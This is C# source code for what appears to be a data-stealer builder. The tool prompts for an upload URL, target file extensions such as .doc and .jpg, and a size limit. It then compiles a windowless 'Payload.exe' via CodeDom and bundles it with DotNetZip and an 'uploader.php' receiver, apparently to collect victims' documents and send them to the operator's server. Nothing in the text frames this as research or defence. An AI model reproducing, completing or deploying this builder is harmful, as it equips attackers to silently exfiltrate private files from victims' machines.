private void Codedom(UploaderSettings uploaderSettings)
{
string[] referencedAssemblies = new string[] { $"{Environment.CurrentDirectory} \\Temp\\DotNetZip.dll", "System.dll" };
Dictionary <string, string> providerOptions = new Dictionary <string, string>()
{
{ "CompilerVersion", "v2.0" }
};
string compilerOptions = "/target:winexe /platform:anycpu /optimize+";
using (CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
{
CompilerParameters compilerParameters = new CompilerParameters(referencedAssemblies)
{
GenerateExecutable = true,
GenerateInMemory = false,
OutputAssembly = "Temp//Payload.exe",
CompilerOptions = compilerOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false,
TempFiles = new TempFileCollection("Temp", false),
};
CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, SourceCode(uploaderSettings));
if (compilerResults.Errors.Count > 0)
{
foreach (CompilerError compilerError in compilerResults.Errors)
{
Directory.Delete("Temp", true);
throw new Exception(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
compilerError.Line, compilerError.Column, compilerError.FileName));
}
}
}
}
private string SourceCode(UploaderSettings uploaderSettings)
{
string sourceCode = Properties.Resources.SourceCode;
sourceCode = sourceCode.Replace("@Extensions", string.Join("\",\"", uploaderSettings.Extensions).ToLower());
sourceCode = sourceCode.Replace("@Size", uploaderSettings.SizeLimit.ToString());
sourceCode = sourceCode.Replace("@Url", uploaderSettings.Url);
return(sourceCode);
}
//Preview Settings
private static void CurrentSettings(UploaderSettings uploaderSettings)
{
Console.Clear();
ConsoleHelper.Banner();
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\n[!]Current Settings:");
Console.WriteLine($"Url: {uploaderSettings.Url}");
Console.Write("Extensions:");
uploaderSettings.Extensions.ForEach(foo => Console.Write($" {foo}"));
Console.WriteLine($"\nMax size: {uploaderSettings.SizeLimit / 1024}KB");
Console.ResetColor();
}
public static void Main()
{
ConsoleHelper.Banner();
ConsoleHelper.Info();
//ask user to enter uploader settings
UploaderSettings uploaderSettings = CreateNewUploader();
//show settings in green font
CurrentSettings(uploaderSettings);
//use codedom to compile
Compile(uploaderSettings);
Console.Write("\nDone!\nPress any key to exit...");
Console.ReadKey();
}
//codedom to compile
private static void Compile(UploaderSettings uploaderSettings)
{
try
{
new Compiler(uploaderSettings);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"\nCreated: payload.exe");
Console.WriteLine($"Created: uploader.php");
Console.ResetColor();
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ReadKey();
Environment.Exit(0);
}
}
private static UploaderSettings CreateNewUploader()
{
UploaderSettings uploaderSettings = new UploaderSettings();
try
{
//URL
Console.WriteLine("[+]Uploader Path: [default http://127.0.0.1/uploader.php]");
string url = Console.ReadLine();
if (!string.IsNullOrWhiteSpace(url))
{
uploaderSettings.Url = url;
}
else
{
ConsoleHelper.DeletePrevConsoleLine();
Console.WriteLine(uploaderSettings.Url);
}
Console.WriteLine();
//Extensions
Console.WriteLine("[+]Extensions: [default .jpeg .jpg .txt .doc .docx]");
string extensions = Console.ReadLine();
if (!string.IsNullOrWhiteSpace(extensions))
{
uploaderSettings.Extensions.Clear();
foreach (string extension in extensions.Split(new[] { " ." }, StringSplitOptions.None))
{
uploaderSettings.Extensions.Add(extension);
}
}
else
{
ConsoleHelper.DeletePrevConsoleLine();
Console.WriteLine(".jpeg .jpg .txt .doc .docx");
}
Console.WriteLine();
//Size Limit
Console.WriteLine("[+]Max File Size in KB: [default 500]");
string size = Console.ReadLine();
if (!string.IsNullOrWhiteSpace(size))
{
uploaderSettings.SizeLimit = Convert.ToInt32(size);
}
else
{
ConsoleHelper.DeletePrevConsoleLine();
Console.WriteLine("500");
}
Console.WriteLine();
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ReadKey();
Environment.Exit(0);
}
return(uploaderSettings);
}
public Compiler(UploaderSettings uploaderSettings)
{
InitializeFiles();
Codedom(uploaderSettings);
ILMerge();
}
